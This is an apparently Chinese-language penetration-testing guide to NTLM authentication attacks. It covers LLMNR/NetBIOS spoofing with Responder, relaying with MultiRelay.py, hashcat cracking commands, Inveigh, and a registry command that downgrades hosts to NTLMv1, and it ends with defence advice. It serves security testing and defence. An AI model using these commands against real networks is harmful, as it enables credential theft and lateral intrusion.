NTLM认证相关攻击技巧(较全)
字数 1509 2025-08-19 12:42:16
NTLM认证相关攻击技巧全面指南
0x00 NTLM认证攻击简介
NTLM协议是Windows两大认证协议之一,攻击方法主要分为两类:
- SMB欺骗:通过监听网络流量获取NTLM认证凭证
- 中继攻击:将获取的认证凭证转发到其他目标进行利用
0x01 前置知识学习
(1) NTLM认证过程与NET-NTLM v1\v2
NTLM认证采用质询/应答(Challenge/Response)模式,流程如下:
- 客户端发送包含明文用户名的请求
- 服务器生成16位随机Challenge并返回
- 客户端使用密码hash加密Challenge生成Response
- 服务器验证Response
认证协议版本:
- NTLM v1:Windows 2000/XP使用
- NTLM v2:Windows Vista/2008及以上默认使用
- NTLM session v2
触发NTLM认证的常用命令:
net.exe use \\host\share
attrib.exe \\host\share
cacls.exe \\host\share
certreq.exe \\host\share
(2) LLMNR协议和NetBIOS协议
LLMNR协议:
- 当DNS解析失败时使用
- 通过UDP向局域网发送多播查询
- 默认启用
NetBIOS协议:
- 提供OSI会话层服务
- 默认随TCP/IP协议安装
- 主要用于局域网内计算机互访
Windows名称解析顺序:
- hosts文件
- DNS缓存/服务器
- LLMNR和NetBIOS
(3) SMB认证过程
SMB协议:
- 用于计算机间共享文件、打印机等
- 基于TCP-NETBIOS,端口139/445
- 认证协议演变:LM → NTLM → Kerberos
SMB工作原理:
- 客户端发送支持的SMB版本列表
- 服务器选择版本
- 客户端发起用户/共享认证
0x02 常规工具流程使用
1. SMB欺骗获取凭证
工具:Responder (v3.0.2.0 + py3.7.3 + Kali)
工作组环境:
python3 Responder.py -I eth0
# 目标机器执行
net use \\asdasdasd
域环境:
同样方法可获取域用户凭证
2. NTLM中继攻击
前提条件:
- 目标未开启SMB签名(域控默认开启)
- 工作组:需要sid 500用户hash且密码相同
- 域环境:需要域管理员组成员
工具:MultiRelay.py
中继前信息搜集:
使用RunFinger.py或NMAP检查SMB签名状态
工作组中继:
- 修改Responder.conf相关参数为OFF
- 使用MultiRelay.py监听
- 诱使目标访问不存在共享
域中继:
可中继域控或域管理员组成员的NET-NTLM Hash
0x03 手工获取NET NTLM Hash与破解
NTLMv2 Hash格式
username::domain:challenge:HMAC-MD5:blob
破解命令:
hashcat -m 5600 <hash> password.list -o found.txt --force
NTLMv1 Hash破解
可使用在线服务https://crack.sh/get-cracking/
0x04 Windows版本工具
1. Responder.exe
适用于Windows平台
2. Inveigh
PowerShell版本:
Import-Module .\Inveigh.psd1
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y
C#版本:
需要.NET 3.5环境
0x05 NTLM其他玩法
1. NTLM v1还原NTLM hash
适用于旧系统(如2003)
2. 将系统降级为v1
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 0 /f
3. 使用InternalMonologue获取凭证
无需网络监听,直接获取本地用户凭证
4. 浏览器欺骗
IE/Edge可通过img标签触发NTLM认证
防御建议
- 禁用LLMNR和NetBIOS
- 启用SMB签名
- 限制NTLM使用,优先使用Kerberos
- 监控异常NTLM认证请求
- 使用强密码策略防止hash破解
总结
NTLM协议攻击是内网渗透中的重要技术,理解其认证流程和协议交互是成功利用的关键。通过本文介绍的各种技术,安全测试人员可以全面评估网络中的NTLM相关风险。